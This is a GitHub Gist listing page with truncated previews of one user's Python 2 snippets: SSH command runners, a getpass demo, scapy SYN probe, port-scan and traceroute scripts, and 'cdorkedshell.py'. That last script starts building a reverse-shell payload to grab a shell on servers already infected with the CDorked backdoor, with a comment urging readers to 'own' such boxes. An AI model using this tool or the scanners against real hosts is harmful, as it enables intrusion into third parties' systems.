Skip to content

Instantly share code, notes, and snippets.

$ python ssh_exec_secure.py
host: 127.0.0.1
user: packetforger
pass:
(*) Running uname on 127.0.0.1
(+) Connecting via SSH to 127.0.0.1
Linux
$
#!/usr/bin/python2
import paramiko
import getpass
def run_ssh_cmd(host, user, passwd, cmd):
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
print "(+) Connecting via SSH to %s" %(ip)
ssh.connect(ip, username=user, password=passwd)
$ python ssh_exec_insecure.py
host: 127.0.0.1
user: packetforger
pass: lolpassword
(*) Running uname on 127.0.0.1
(+) Connecting via SSH to 127.0.0.1
Linux
$
#!/usr/bin/python2
import paramiko
def run_ssh_cmd(host, user, passwd, cmd):
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
print "(+) Connecting via SSH to %s" %(ip)
ssh.connect(ip, username=user, password=passwd)
except paramiko.AuthenticationException:
#!/usr/bin/python2
"""
Example use of "getpass" in python to accept user input
of sensitive information such as passwords without echoing
them back to the screen.
Example Run:
$ python test.py
Example Getpass Use Script
Input Your Credentials (password will not be echoed)
#!/usr/bin/python2
# really awful dict example
import sys
dict = {
"cat": "meow",
"dog": "woof",
"rat": "squeak"
}
x = dict[sys.argv[1]]
@packetforger
packetforger / synprobe.py
Created September 15, 2013 15:57
synprobe
#!/usr/bin/python2
# SYN probes a port on an IP, tells if open/closed
from scapy.all import *
import sys
def synprobe(targetIP, targetPort):
""" Send a SYN packet, recieve reply, tell if open/closed """
probe = sr1(IP(dst=targetIP)/TCP(dport= int(targetPort), flags = "S"), verbose = False, timeout = 2)
if probe[TCP].flags == 18:
print "%s:%s open" %(targetIP, targetPort)
@packetforger
packetforger / cdorkedshell.py
Created September 13, 2013 18:40
cdorkedshell.py
#!/usr/bin/python2
# All credit to malware.lu team for expert analysis!
# https://code.google.com/p/malware-lu/wiki/en_malware_cdorked_A#How_to_get_a_shell?
# Have fun owing all them pre-owned box
# @packetforger - packetforger.wordpress.com
import requesocks
import sys
def getShell(rhost, rport, lhost, lport):
payload = ('GET_BACK;%s;%s' %(lhost, lport)).encode('hex') #payload
#!/usr/bin/python
from scapy.all import *
import sys
conf.verb = 0
def scan(targetIP, port):
print "(+) Scanning %s for port %s" %(targetIP, port)
p=IP(dst=targetIP)/TCP(dport=int(port), flags="S")
ans,unans=sr(p, timeout=9)
print "(+) Printing results..."
#!/usr/bin/python2
from scapy.all import *
import sys
conf.verb=0 # set verbose to off. Change to 1 if you want verbosity
def tcptraceroute(targetIP, port):
print "(+) Tracerouting %s:%s" %(targetIP, port)
print "(!) Due to a bug you may want to ctrl+c after some time"
ans,unans = sr(IP(dst=targetIP,ttl=(1,10))/TCP(dport=int(port), flags="S"))
print "(+) Printing Results..."